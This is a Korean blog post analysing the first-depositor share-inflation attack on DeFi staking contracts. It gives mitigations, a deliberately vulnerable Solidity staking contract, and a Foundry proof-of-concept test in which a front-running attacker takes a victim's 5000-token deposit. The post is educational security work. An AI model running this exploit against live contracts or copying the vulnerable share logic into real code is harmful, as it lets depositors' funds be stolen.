개요

꽤 잦은 빈도로 보이는 유형의 취약점이다. 주로 DEFI 프로젝트에서 발견되고 정확히 어떻게 피해가 발생되고 원인은 무엇인지 알고 테스트를 통해 실제 공격은 어떻게 이루어지는지 알아보고자 한다.

 

문제의 식

여러 DEFI 프로젝트를 보다보니 staking 토큰을 분배하는 식이 아래와 같이 설정되어있는 경우가 많았다.

출처: https://uniswap.org/whitepaper.pdf

DEFI의 LP 토큰을 분배하는 데에도 사용된다. (Uniswap v1에서 사용되었다.) 앞전에 분석했던 인절미의 경우도 해당 식을 사용하고 있다.

해당 식을 분석해보자.

PENG 토큰이 있고 해당 토큰을 스테이킹하면 그 지분을 증명하는 뜻으로 sPENG이 발행된다고 가정해보자. 그렇다면 PENG 토큰을 스테이킹 했을 때 받을 수 있는 sPENG의 계산은 이렇다.

스테이킹 할 PENG 수량 X 현재 발행된 sPENG의 수량
----------------------------------------------------------------------
현재 스테이킹 되어있는 PENG 수량

 

현재 sPENG이 1000개 발행되어있고 5000개의 PENG이 스테이킹 되어있다고 가정해보자.

위의 식에 의해 500개의 PENG을 스테이킹 하게되면 500 * 1000 / 5000  = 100 으로  총 100개의 sPENG을 받을 수 있다.

총 5000개의 PENG이 있는 풀에 10%500개를 기여했으니, 현재 발행량의 10%인 100개의 sPENG을 발행받는 것이 꽤나 합리적으로 보인다. 이렇듯 사용자 입장에서도 합리적으로 받아들이는 수식이므로 많이 사용되고 있다. 

 

그러면 어떤 경우 문제가 되는가

일반적인 경우라면 해당 식이 문제가 되지 않지만, 초기 진입자의 관점에서 보면 문제가 생길 수 있다.

이번 예시에는 두 사람이 등장한다. 가장 처음 진입한 Alice와 그 다음 진입한 Bob이다.

 1. Alice는 아무도 PENG을 스테이킹 하지 않은 것을 알았다.
(단순히 sPENG 컨트랙트의 totalSupply가 0인 것을 보면 알 수 있을 것이다.)

2. Alice는 1 wei의 PENG을 스테이킹 하고 1 wei의 sPENG을 받았다.
(대부분의 경우 최초 스테이킹은 제공한 토큰의 수량만큼 스테이크 토큰을 제공한다. 최초 스테이킹의 경우 해당 식이 0으로 나눠지기 때문이다.)

3. Bob이 5000개의 PENG을 스테이킹 하려고 트랜잭션을 보냈다.

4. mempool을 지켜보던 Alice는 Bob의 트랜잭션이 올라온 것을 확인하고, frontrun으로 Bob의 스테이킹 수량과 동일한 수량(5000개)을 sPENG 컨트랙트에 전송(transfer)한다.

5. Bob의 트랜잭션이 실행되고나면 아래와 같이 식이 계산되며 0개의 sPENG을 받는다.

스테이킹 할 PENG 수량(5000 * 1e18) X 현재 발행된 sPENG의 수량(1)
----------------------------------------------------------------------
현재 스테이킹 되어있는 PENG 수량(5000 * 1e18 + 1)

6. 현재 발행된 sPENG은 1 wei개를 모두 Alice가 가지고 있기 때문에, 해당 컨트랙트 내의 모든 PENG은 Alice의 지분이 되어 sPENG 1 wei개를 unstake하면 총 10000개 + 1wei개를 받을 수 있음.

결과적으로 Alice는 5000개의 PENG을 Bob으로 부터 탈취하게 되었다.

 

어떻게 막아야 하는가

여러가지 mitigation들이 존재하는데, 가장 편한 방법은 최소 stake 수량을 지정하는 것이다.

예를들어 1e18 wei개의 토큰 이상만 허용을 하게되면 위의 공격이 성립하기 어렵다.

Alice가 최초 1e18 wei개를 stake하게 되었다면 1e18 wei개의 sPENG이 발행된다.

Bob이 5000개를 stake하려 할 때 Bob의 sPENG을 0으로 만들기 위해선 약 5000 * 1e18개의 토큰이 필요하다. 

따라서 사실상 공격이 불가능하게 된다.

또 다른 방식으로는 0개의 stake토큰이 민팅되는 경우 revert 할 수도 있다.

 

테스트

foundry를 이용해 간단한 스테이킹 컨트랙트를 작성하고 위의 시나리오를 테스트 해보자.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract PENG is ERC20 {

    constructor() ERC20("PENG", "PENG") {
    }

    function faucet(uint256 amount) external {
        _mint(msg.sender, amount);
    }
}

PENG.sol

테스트를 위해 faucet함수를 구현하여 누구나 민팅할 수 있는 ERC 20토큰이다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "./PENG.sol";

contract sPENG is ERC20 {

    PENG immutable peng;

    constructor(address _peng) ERC20("sPENG", "sPENG") {
        require(_peng != address(0));
        peng = PENG(_peng);
    }
    
    function stake(uint256 amount) external {
        peng.transferFrom(msg.sender, address(this), amount);
        uint256 share;
        if(totalSupply() == 0 || peng.balanceOf(address(this)) == 0) {
            share = amount;
        } else {
            share = amount * totalSupply() / peng.balanceOf(address(this));
        }
        _mint(msg.sender, share);
    }

    function unstake(uint256 share) external {
        uint256 redeem = share * peng.balanceOf(address(this)) / totalSupply();
        _burn(msg.sender, share);
        peng.transfer(msg.sender, redeem);
    }
}

sPENG.sol

stake와 unstake가 구현된 간단한 스테이킹 토큰 컨트랙트이다.

stake시 sPENG의 발행되지 않았거나 들어와있는 PENG토큰이 없다면 stake로 제공한 PENG 토큰만큼 sPENG이 발행된다. 최초의 경우가 아니라면 앞서 설명한 수식을 통해 share가 계산된다.

unstakesPENG의 지분율 만큼의 PENG을 제공 받게된다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "src/PENG.sol";
import "src/sPENG.sol";

contract frontrunStakeTest is Test {
    PENG peng;
    sPENG sPeng;

    address alice = address(0x1);
    address bob = address(0x2);

    function setUp() public {
        peng = new PENG();
        sPeng = new sPENG(address(peng));
    }

    function testStake() public {

        uint256 stakingAmount = 1000 * 1e18;

        vm.startPrank(alice);
        peng.faucet(stakingAmount);
        assertEq(peng.balanceOf(alice), stakingAmount);

        peng.approve(address(sPeng), stakingAmount);
        sPeng.stake(stakingAmount);
        assertEq(peng.balanceOf(alice), 0);
        assertEq(sPeng.balanceOf(alice), stakingAmount);

        sPeng.unstake(sPeng.balanceOf(alice));
        assertEq(peng.balanceOf(alice), stakingAmount);
    }
		... 생략
}

FrontrunStakeTest.t.sol

먼저 일반적인 스테이킹 상황을 테스트하는 테스트이다.

alice가 1000개의 PENG을 스테이킹 하고 언스테이킹 함에 문제가 없는 것을 확인 했다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "src/PENG.sol";
import "src/sPENG.sol";

contract frontrunStakeTest is Test {
    PENG peng;
    sPENG sPeng;

    address alice = address(0x1);
    address bob = address(0x2);

    function setUp() public {
        peng = new PENG();
        sPeng = new sPENG(address(peng));
    }

		... 생략
        
    function testFrontRun() public {
        
        vm.startPrank(alice);
        peng.faucet(10000 * 1e18);
        emit log_named_uint("Alice's PENG before    ", peng.balanceOf(alice));
        assertEq(peng.balanceOf(alice), 10000 * 1e18);

        // Alice stake 1 wei of PENG
        peng.approve(address(sPeng), 10000 * 1e18);
        sPeng.stake(1);
        assertEq(sPeng.balanceOf(alice), 1);
        vm.stopPrank();

        // Bob prepare to stake PENG
        vm.startPrank(bob);
        peng.faucet(5000 * 1e18);
        assertEq(peng.balanceOf(bob), 5000 * 1e18);
        vm.stopPrank();

        // Alice front-run and send 5000 PENG to sPENG contract
        vm.startPrank(alice);
        peng.transfer(address(sPeng), 5000 * 1e18);
        vm.stopPrank();

        // Bob stake 5000 PENG
        vm.startPrank(bob);
        peng.approve(address(sPeng), 5000 * 1e18);
        sPeng.stake(5000 * 1e18);
        emit log_named_uint("Bob's share            ", sPeng.balanceOf(bob));
        vm.stopPrank();

        // Alice unstake
        vm.startPrank(alice);
        sPeng.unstake(sPeng.balanceOf(alice));
        emit log_named_uint("Alice's PENG after     ", peng.balanceOf(alice));


    }
}

1. Alice가 1 wei개의 PENG을 stake 한다.

2. Bob이 스테이킹을 준비한다. 테스트 특성상 front run이 불가능하므로 준비단계로 가정하였다.

3. Alice가 front run을 통해 Bob이 스테이킹 하려는 수량과 동일한 양을 sPENG 컨트랙트에 직접  transfer한다.

4. Bob의 스테이킹이 진행된다. 이때 Bob이 받은 sPENG의 양을 로그로 출력한다.

5. Alice가 가진 sPENG을 모두 unstake한다. 이때 Alice가 unstake하고 난 뒤 보유한 PENG의 양을 로그로 출력한다.

그 결과 Alice가 처음 보유하고 있던 PENG은 10000 * 1e18 wei개 이며.

Bob이 스테이킹을 통해 받은 sPENG은 0개.

Alice가 unstake를 하고 난 이후 보유 PENG은 15000 * 1e18 wei개 이다.

즉 Alice가 Bob이 스테이킹을 위해 보냈던 5000개의 PENG을 탈취하였고 Bob은 받은 sPENG이 없으므로 unstake할 수 없다.

'Security > Smart Contract' 카테고리의 다른 글

Treasure exploit 분석  (3) 2022.08.29
Multichain exploit 분석  (0) 2022.08.29
[Unhacked CTF] reaper write-up  (0) 2022.08.26
Ethernaut 정리  (0) 2022.06.03
복사했습니다!